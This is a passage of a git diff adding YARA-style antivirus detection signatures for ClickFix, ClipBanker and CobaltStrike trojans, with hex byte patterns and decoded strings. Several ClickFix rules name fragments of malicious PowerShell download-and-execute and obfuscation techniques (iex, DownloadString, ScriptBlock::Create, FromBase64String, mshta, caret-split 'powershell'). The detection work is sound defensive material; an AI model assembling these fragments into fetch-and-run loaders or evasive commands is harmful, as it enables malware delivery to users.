of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZMR_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZMR_MTB.yar new file mode 100644 index 0000000000..7a02871414 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZMR_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_ClickFix_ZMR_MTB{ + meta: + description = "Trojan:Win32/ClickFix.ZMR!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_00_0 = {2d 00 48 00 65 00 61 00 64 00 65 00 72 00 73 00 } //1 -Headers + $a_00_1 = {2e 00 47 00 65 00 74 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 24 00 } //1 .GetString($ + $a_00_2 = {2e 00 63 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 } //1 .content + $a_00_3 = {69 00 65 00 78 00 20 00 24 00 } //1 iex $ + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZMS_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZMS_MTB.yar new file mode 100644 index 0000000000..97a4f574f5 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZMS_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_ClickFix_ZMS_MTB{ + meta: + description = "Trojan:Win32/ClickFix.ZMS!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_00_0 = {4e 00 65 00 74 00 2e 00 48 00 74 00 74 00 70 00 2e 00 48 00 74 00 74 00 70 00 43 00 6c 00 69 00 65 00 6e 00 74 00 5d 00 3a 00 3a 00 6e 00 65 00 77 00 } //1 Net.Http.HttpClient]::new + $a_00_1 = {28 00 5b 00 53 00 63 00 72 00 69 00 70 00 74 00 42 00 6c 00 6f 00 63 00 6b 00 5d 00 3a 00 3a 00 43 00 72 00 65 00 61 00 74 00 65 00 28 00 24 00 } //1 ([ScriptBlock]::Create($ + $a_00_2 = {2e 00 47 00 65 00 74 00 53 00 74 00 72 00 69 00 6e 00 67 00 41 00 73 00 79 00 6e 00 63 00 28 00 } //1 .GetStringAsync( + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZQC_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZQC_MTB.yar new file mode 100644 index 0000000000..7510bbdca0 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZQC_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_ClickFix_ZQC_MTB{ + meta: + description = "Trojan:Win32/ClickFix.ZQC!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,69 00 69 00 05 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //100 powershell + $a_00_1 = {41 00 63 00 74 00 69 00 76 00 65 00 58 00 4f 00 62 00 6a 00 65 00 63 00 74 00 } //5 ActiveXObject + $a_00_2 = {2e 00 49 00 6e 00 73 00 65 00 72 00 74 00 28 00 } //5 .Insert( + $a_00_3 = {76 62 73 63 72 69 70 74 3a 45 78 65 63 75 74 65 28 } //5 vbscript:Execute( + $a_00_4 = {3a 00 3a 00 46 00 72 00 6f 00 6d 00 42 00 61 00 73 00 65 00 36 00 34 00 53 00 74 00 72 00 69 00 6e 00 67 00 } //5 ::FromBase64String + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*5+(#a_00_2 & 1)*5+(#a_00_3 & 1)*5+(#a_00_4 & 1)*5) >=105 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZZA_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZZA_MTB.yar new file mode 100644 index 0000000000..08c8530487 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZZA_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_ClickFix_ZZA_MTB{ + meta: + description = "Trojan:Win32/ClickFix.ZZA!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_00_0 = {49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 43 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 20 00 28 00 5b 00 53 00 63 00 72 00 69 00 70 00 74 00 42 00 6c 00 6f 00 63 00 6b 00 5d 00 3a 00 3a 00 43 00 72 00 65 00 61 00 74 00 65 00 28 00 24 00 5f 00 2e 00 43 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 } //1 Invoke-Command ([ScriptBlock]::Create($_.Content + $a_00_1 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //1 powershell + $a_02_2 = {68 00 74 00 74 00 70 00 3a 00 [0-06] 2e 00 [0-06] 2e 00 [0-06] 2e 00 [0-06] 2e 00 2f 00 } //1 + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_02_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZZB_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZZB_MTB.yar new file mode 100644 index 0000000000..17054f4e96 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZZB_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_ClickFix_ZZB_MTB{ + meta: + description = "Trojan:Win32/ClickFix.ZZB!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_00_0 = {4e 00 65 00 77 00 2d 00 4f 00 62 00 6a 00 65 00 63 00 74 00 } //1 New-Object + $a_00_1 = {57 00 69 00 6e 00 48 00 74 00 74 00 70 00 2e 00 57 00 69 00 6e 00 48 00 74 00 74 00 70 00 52 00 65 00 71 00 75 00 65 00 73 00 74 00 } //1 WinHttp.WinHttpRequest + $a_02_2 = {68 00 74 00 74 00 70 00 3a 00 [0-06] 2e 00 [0-06] 2e 00 [0-06] 2e 00 [0-06] 2e 00 2f 00 } //1 + $a_00_3 = {2e 00 53 00 65 00 6e 00 64 00 28 00 } //1 .Send( + $a_00_4 = {69 00 65 00 78 00 20 00 24 00 } //1 iex $ + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_02_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZZC_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZZC_MTB.yar new file mode 100644 index 0000000000..44abc15263 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZZC_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_ClickFix_ZZC_MTB{ + meta: + description = "Trojan:Win32/ClickFix.ZZC!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_00_0 = {69 00 65 00 78 00 20 00 24 00 } //1 iex $ + $a_00_1 = {5b 00 53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 43 00 6f 00 6e 00 76 00 65 00 72 00 74 00 5d 00 3a 00 3a 00 46 00 72 00 6f 00 6d 00 42 00 61 00 73 00 65 00 36 00 34 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 24 00 } //1 [System.Convert]::FromBase64String($ + $a_00_2 = {43 00 6f 00 6e 00 66 00 69 00 72 00 6d 00 20 00 61 00 63 00 63 00 65 00 73 00 73 00 } //1 Confirm access + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZZD_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZZD_MTB.yar new file mode 100644 index 0000000000..810656f8f7 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZZD_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_ClickFix_ZZD_MTB{ + meta: + description = "Trojan:Win32/ClickFix.ZZD!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_00_0 = {2e 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 24 00 } //1 .DownloadString($ + $a_00_1 = {4e 00 65 00 74 00 2e 00 57 00 65 00 62 00 43 00 6c 00 69 00 65 00 6e 00 74 00 } //1 Net.WebClient + $a_00_2 = {5b 00 53 00 63 00 72 00 69 00 70 00 74 00 42 00 6c 00 6f 00 63 00 6b 00 5d 00 3a 00 3a 00 43 00 72 00 65 00 61 00 74 00 65 00 28 00 24 00 } //1 [ScriptBlock]::Create($ + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZZG_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZZG_MTB.yar new file mode 100644 index 0000000000..b3517f906a --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZZG_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_ClickFix_ZZG_MTB{ + meta: + description = "Trojan:Win32/ClickFix.ZZG!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 02 00 00 " + + strings : + $a_00_0 = {29 00 2e 00 43 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 20 00 7c 00 20 00 46 00 6f 00 72 00 45 00 61 00 63 00 68 00 2d 00 4f 00 62 00 6a 00 65 00 63 00 74 00 20 00 7b 00 20 00 49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 45 00 78 00 70 00 72 00 65 00 73 00 73 00 69 00 6f 00 6e 00 20 00 24 00 } //1 ).Content | ForEach-Object { Invoke-Expression $ + $a_00_1 = {29 00 2e 00 43 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 20 00 7c 00 20 00 46 00 6f 00 72 00 45 00 61 00 63 00 68 00 2d 00 4f 00 62 00 6a 00 65 00 63 00 74 00 20 00 7b 00 20 00 69 00 65 00 78 00 20 00 24 00 } //1 ).Content | ForEach-Object { iex $ + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZZH_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZZH_MTB.yar new file mode 100644 index 0000000000..5f46189859 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZZH_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_ClickFix_ZZH_MTB{ + meta: + description = "Trojan:Win32/ClickFix.ZZH!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_00_0 = {5b 00 49 00 4f 00 2e 00 46 00 69 00 6c 00 65 00 5d 00 3a 00 3a 00 52 00 65 00 61 00 64 00 41 00 6c 00 6c 00 42 00 79 00 74 00 65 00 73 00 28 00 24 00 } //1 [IO.File]::ReadAllBytes($ + $a_00_1 = {46 00 6f 00 72 00 45 00 61 00 63 00 68 00 2d 00 4f 00 62 00 6a 00 65 00 63 00 74 00 20 00 7b 00 20 00 24 00 5f 00 2e 00 54 00 6f 00 53 00 74 00 72 00 69 00 6e 00 67 00 } //1 ForEach-Object { $_.ToString + $a_00_2 = {2d 00 6a 00 6f 00 69 00 6e 00 } //1 -join + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZZI_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZZI_MTB.yar new file mode 100644 index 0000000000..1e16d46036 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZZI_MTB.yar @@ -0,0 +1,17 @@ + +rule Trojan_Win32_ClickFix_ZZI_MTB{ + meta: + description = "Trojan:Win32/ClickFix.ZZI!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 07 00 00 " + + strings : + $a_00_0 = {2e 00 72 00 65 00 70 00 6c 00 61 00 63 00 65 00 28 00 27 00 5e 00 27 00 2c 00 } //1 .replace('^', + $a_00_1 = {2e 00 72 00 65 00 70 00 6c 00 61 00 63 00 65 00 28 00 27 00 60 00 27 00 2c 00 } //1 .replace('`', + $a_00_2 = {2e 00 72 00 65 00 70 00 6c 00 61 00 63 00 65 00 28 00 27 00 2b 00 27 00 2c 00 } //1 .replace('+', + $a_00_3 = {2e 00 72 00 65 00 70 00 6c 00 61 00 63 00 65 00 28 00 27 00 24 00 27 00 2c 00 } //1 .replace('$', + $a_00_4 = {2e 00 72 00 65 00 70 00 6c 00 61 00 63 00 65 00 28 00 27 00 2a 00 27 00 2c 00 } //1 .replace('*', + $a_00_5 = {41 00 56 00 45 00 56 00 41 00 } //-100 AVEVA + $a_00_6 = {75 00 6e 00 69 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 58 00 41 00 4d 00 55 00 70 00 64 00 61 00 74 00 65 00 53 00 65 00 72 00 76 00 69 00 63 00 65 00 2e 00 62 00 61 00 74 00 } //-100 uninstallXAMUpdateService.bat + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*-100+(#a_00_6 & 1)*-100) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZZN_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZZN_MTB.yar new file mode 100644 index 0000000000..5c28b731a4 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZZN_MTB.yar @@ -0,0 +1,23 @@ + +rule Trojan_Win32_ClickFix_ZZN_MTB{ + meta: + description = "Trojan:Win32/ClickFix.ZZN!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 0d 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 5e 00 65 00 } //1 pow^e + $a_00_1 = {70 00 5e 00 6f 00 77 00 65 00 } //1 p^owe + $a_00_2 = {70 00 5e 00 6f 00 5e 00 77 00 5e 00 65 00 } //1 p^o^w^e + $a_00_3 = {70 00 6f 00 5e 00 77 00 5e 00 65 00 } //1 po^w^e + $a_00_4 = {70 00 5e 00 6f 00 77 00 65 00 5e 00 } //1 p^owe^ + $a_00_5 = {70 00 6f 00 5e 00 77 00 65 00 } //1 po^we + $a_00_6 = {70 00 5e 00 6f 00 77 00 5e 00 65 00 } //1 p^ow^e + $a_00_7 = {70 00 6f 00 77 00 65 00 5e 00 } //1 powe^ + $a_00_8 = {70 00 5e 00 6f 00 77 00 } //1 p^ow + $a_00_9 = {70 00 6f 00 5e 00 77 00 } //1 po^w + $a_00_10 = {70 00 6f 00 77 00 5e 00 } //1 pow^ + $a_00_11 = {70 00 5e 00 6f 00 5e 00 77 00 } //1 p^o^w + $a_00_12 = {48 00 53 00 42 00 43 00 50 00 41 00 59 00 } //-100 HSBCPAY + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1+(#a_00_8 & 1)*1+(#a_00_9 & 1)*1+(#a_00_10 & 1)*1+(#a_00_11 & 1)*1+(#a_00_12 & 1)*-100) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZZR_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZZR_MTB.yar new file mode 100644 index 0000000000..0abc0a542a --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZZR_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_ClickFix_ZZR_MTB{ + meta: + description = "Trojan:Win32/ClickFix.ZZR!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 03 00 00 " + + strings : + $a_00_0 = {6d 00 73 00 68 00 74 00 61 00 } //1 mshta + $a_00_1 = {68 00 74 00 74 00 70 00 } //1 http + $a_00_2 = {61 00 62 00 63 00 64 00 } //-100 abcd + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*-100) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZZX_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZZX_MTB.yar new file mode 100644 index 0000000000..8d32436589 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZZX_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_ClickFix_ZZX_MTB{ + meta: + description = "Trojan:Win32/ClickFix.ZZX!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_00_0 = {77 00 73 00 63 00 72 00 69 00 70 00 74 00 20 00 24 00 } //1 wscript $ + $a_00_1 = {24 00 65 00 6e 00 76 00 3a 00 74 00 65 00 6d 00 70 00 } //1 $env:temp + $a_00_2 = {64 00 65 00 6c 00 20 00 24 00 } //1 del $ + $a_00_3 = {68 00 69 00 64 00 64 00 65 00 6e 00 } //1 hidden + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClipBanker/Trojan_Win32_ClipBanker_ACI_MTB.yar b/Trojan/Win32/ClipBanker/Trojan_Win32_ClipBanker_ACI_MTB.yar new file mode 100644 index 0000000000..347d8bb1d6 --- /dev/null +++ b/Trojan/Win32/ClipBanker/Trojan_Win32_ClipBanker_ACI_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_ClipBanker_ACI_MTB{ + meta: + description = "Trojan:Win32/ClipBanker.ACI!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 04 00 00 " + + strings : + $a_01_0 = {be 01 00 00 00 8d 45 fc 50 68 06 00 02 00 6a 00 68 21 81 40 00 68 01 00 00 80 } //1 + $a_03_1 = {53 56 57 33 db 8b 75 08 8b fb 8b c7 66 83 c0 78 0f b7 d0 52 56 e8 ?? ?? ?? ?? 66 81 c7 82 00 0f b7 cf } //2 + $a_01_2 = {4e 50 2d 30 30 30 30 2d 30 30 30 30 30 30 30 2d 30 30 30 30 2d 30 43 61 4f 72 52 41 65 } //3 NP-0000-0000000-0000-0CaOrRAe + $a_01_3 = {53 6f 66 74 77 61 72 65 5c 65 64 69 73 79 73 5c 65 4e 6f 74 65 50 61 64 } //4 Software\edisys\eNotePad + condition: + ((#a_01_0 & 1)*1+(#a_03_1 & 1)*2+(#a_01_2 & 1)*3+(#a_01_3 & 1)*4) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClipBanker/Trojan_Win32_ClipBanker_GVB_MTB.yar b/Trojan/Win32/ClipBanker/Trojan_Win32_ClipBanker_GVB_MTB.yar new file mode 100644 index 0000000000..5fa025d1c1 --- /dev/null +++ b/Trojan/Win32/ClipBanker/Trojan_Win32_ClipBanker_GVB_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_ClipBanker_GVB_MTB{ + meta: + description = "Trojan:Win32/ClipBanker.GVB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 00 " + + strings : + $a_03_0 = {55 8b ec 83 ec ?? c6 45 ?? 4c c6 45 ?? 6f c6 45 ?? 61 c6 45 ?? 64 c6 45 ?? 4c c6 45 ?? 69 c6 45 ?? 62 c6 45 ?? 72 c6 45 ?? 61 c6 45 ?? 72 c6 45 ?? 79 c6 45 ?? 45 c6 45 ?? 78 c6 45 ?? 41 c6 45 ?? 00 c6 45 ?? 6b c6 45 ?? 65 c6 45 ?? 72 c6 45 ?? 6e c6 45 ?? 65 c6 45 ?? 6c c6 45 ?? 33 c6 45 ?? 32 c6 45 ?? 2e c6 45 ?? 64 c6 45 ?? 6c c6 45 ?? 6c c6 45 ?? 00 6a 00 e8 } //2 + $a_01_1 = {54 67 62 6f 74 2f 54 65 6c 65 67 72 61 6d 20 42 6f 74 20 42 61 73 65 2f 62 69 6e } //1 Tgbot/Telegram Bot Base/bin + $a_01_2 = {6d 61 69 6e 2e 66 65 74 63 68 41 6e 64 44 65 63 72 79 70 74 } //1 main.fetchAndDecrypt + $a_01_3 = {6d 61 69 6e 2e 74 72 79 53 65 6e 64 } //1 main.trySend + condition: + ((#a_03_0 & 1)*2+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClipBanker/Trojan_Win32_ClipBanker_NJH_MTB.yar b/Trojan/Win32/ClipBanker/Trojan_Win32_ClipBanker_NJH_MTB.yar new file mode 100644 index 0000000000..5783ce134c --- /dev/null +++ b/Trojan/Win32/ClipBanker/Trojan_Win32_ClipBanker_NJH_MTB.yar @@ -0,0 +1,16 @@ + +rule Trojan_Win32_ClipBanker_NJH_MTB{ + meta: + description = "Trojan:Win32/ClipBanker.NJH!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 06 00 00 " + + strings : + $a_81_0 = {31 32 31 3e 31 47 31 52 31 5c 31 62 31 68 31 6e 31 } //2 121>1G1R1\1b1h1n1 + $a_81_1 = {47 65 74 43 6c 69 70 62 6f 61 72 64 53 65 71 75 65 6e 63 65 4e 75 6d 62 65 72 } //1 GetClipboardSequenceNumber + $a_81_2 = {47 65 74 43 6c 69 70 62 6f 61 72 64 44 61 74 61 } //1 GetClipboardData + $a_81_3 = {47 6c 6f 62 61 6c 55 6e 6c 6f 63 6b } //1 GlobalUnlock + $a_01_4 = {01 d8 89 d1 21 f1 09 d6 0f af f1 01 c6 89 f0 83 e0 fc 89 f1 83 e1 02 89 f2 83 ca 02 0f af d1 83 f1 02 0f af c8 01 ca } //1 + $a_01_5 = {89 c1 83 c9 01 21 d1 83 f0 01 8d 1c 48 89 de 83 e6 02 89 f2 83 f2 02 89 54 24 04 89 f5 } //1 + condition: + ((#a_81_0 & 1)*2+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClipBanker/Trojan_Win32_ClipBanker_SL_MTB.yar b/Trojan/Win32/ClipBanker/Trojan_Win32_ClipBanker_SL_MTB.yar new file mode 100644 index 0000000000..a867fc9482 --- /dev/null +++ b/Trojan/Win32/ClipBanker/Trojan_Win32_ClipBanker_SL_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_ClipBanker_SL_MTB{ + meta: + description = "Trojan:Win32/ClipBanker.SL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 05 00 00 " + + strings : + $a_01_0 = {53 6f 66 74 77 61 72 65 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 52 75 6e } //2 Software\Microsoft\Windows\CurrentVersion\Run + $a_01_1 = {53 76 63 48 6f 73 74 55 70 64 61 74 65 } //2 SvcHostUpdate + $a_01_2 = {53 76 63 48 6f 73 74 53 79 73 } //2 SvcHostSys + $a_01_3 = {73 74 61 72 74 20 43 3a 5c 57 69 6e 64 6f 77 73 5c 52 75 6e 74 69 6d 65 20 42 72 6f 6b 65 72 2e 65 78 65 } //2 start C:\Windows\Runtime Broker.exe + $a_01_4 = {43 3a 5c 57 69 6e 64 6f 77 73 5c 53 79 73 74 65 6d 33 32 5c 73 76 63 68 6f 73 74 } //2 C:\Windows\System32\svchost + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*2+(#a_01_3 & 1)*2+(#a_01_4 & 1)*2) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClipBanker/Trojan_Win32_Clipbanker_NIT_MTB.yar b/Trojan/Win32/ClipBanker/Trojan_Win32_Clipbanker_NIT_MTB.yar index 2514081614..f38b758850 100644 --- a/Trojan/Win32/ClipBanker/Trojan_Win32_Clipbanker_NIT_MTB.yar +++ b/Trojan/Win32/ClipBanker/Trojan_Win32_Clipbanker_NIT_MTB.yar @@ -1,7 +1,7 @@ -rule Trojan_Win32_Clipbanker_NIT_MTB{ +rule Trojan_Win32_ClipBanker_NIT_MTB{ meta: - description = "Trojan:Win32/Clipbanker.NIT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 04 00 00 " + description = "Trojan:Win32/ClipBanker.NIT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 04 00 00 " strings : $a_01_0 = {73 68 65 63 76 62 7a } //2 shecvbz diff --git a/Trojan/Win32/CobaltStrike/Trojan_Win32_CobaltStrike_AM.yar b/Trojan/Win32/CobaltStrike/Trojan_Win32_CobaltStrike_AM.yar new file mode 100644 index 0000000000..81dccdaba9 --- /dev/null +++ b/Trojan/Win32/CobaltStrike/Trojan_Win32_CobaltStrike_AM.yar @@ -0,0 +1,18 @@ + +rule Trojan_Win32_CobaltStrike_AM{ + meta: + description = "Trojan:Win32/CobaltStrike.AM,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 08 00 00 " + + strings : + $a_01_0 = {42 65 61 63 6f 6e 44 61 74 61 53 68 6f 72 74 00 } //1 敂捡湯慄慴桓牯t + $a_01_1 = {42 65 61 63 6f 6e 55 73 65 54 6f 6b 65 6e 00 } //1 + $a_01_2 = {42 65 61 63 6f 6e 52 65 76 65 72 74 54 6f 6b 65 6e 00 } //1 敂捡湯敒敶瑲潔敫n + $a_01_3 = {42 65 61 63 6f 6e 43 6c 65 61 6e 75 70 50 72 6f 63 65 73 73 00 } //1 + $a_01_4 = {42 65 61 63 6f 6e 49 73 41 64 6d 69 6e 00 } //1 敂捡湯獉摁業n + $a_01_5 = {42 65 61 63 6f 6e 47 65 74 53 70 61 77 6e 54 6f 00 } //1 + $a_01_6 = {42 65 61 63 6f 6e 53 70 61 77 6e 54 65 6d 70 6f 72 61 72 79 50 72 6f 63 65 73 73 00 } //1 敂捡湯灓睡呮浥潰慲祲牐捯獥s + $a_01_7 = {42 65 61 63 6f 6e 49 6e 6a 65 63 74 50 72 6f 63 65 73 73 00 } //1 敂捡湯湉敪瑣牐捯獥s + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/CobaltStrike/Trojan_Win32_CobaltStrike_CE.yar b/Trojan/Win32/CobaltStrike/Trojan_Win32_CobaltStrike_CE.yar new file mode 100644 index 0000000000..762bebed77 --- /dev/null +++ b/Trojan/Win32/CobaltStrike/Trojan_Win32_CobaltStrike_CE.yar @@ -0,0 +1,18 @@ + +rule Trojan_Win32_CobaltStrike_CE{ + meta: + description = "Trojan:Win32/CobaltStrike.CE,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 08 00 00 " + + strings : + $a_01_0 = {42 65 61 63 6f 6e 44 61 74 61 50 61 72 73 65 00 } //1 敂捡湯慄慴慐獲e + $a_01_1 = {42 65 61 63 6f 6e 44 61 74 61 49 6e 74 00 } //1 敂捡湯慄慴湉t + $a_01_2 = {42 65 61 63 6f 6e 44 61 74 61 4c 65 6e 67 74 68 00 } //1 + $a_01_3 = {42 65 61 63 6f 6e 49 6e 6a 65 63 74 54 65 6d 70 6f 72 61 72 79 50 72 6f 63 65 73 73 00 } //1 + $a_01_4 = {42 65 61 63 6f 6e 44 61 74 61 45 78 74 72 61 63 74 00 } //1 敂捡湯慄慴硅牴捡t + $a_01_5 = {42 65 61 63 6f 6e 4f 75 74 70 75 74 00 } //1 + $a_01_6 = {42 65 61 63 6f 6e 46 6f 72 6d 61 74 41 70 70 65 6e 64 00 } //1 + $a_01_7 = {42 65 61 63 6f 6e 46 6f 72 6d 61 74 54 6f 53 74 72 69 6e 67 00 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/CobaltStrike/Trojan_Win32_CobaltStrike_GDF_MTB.yar 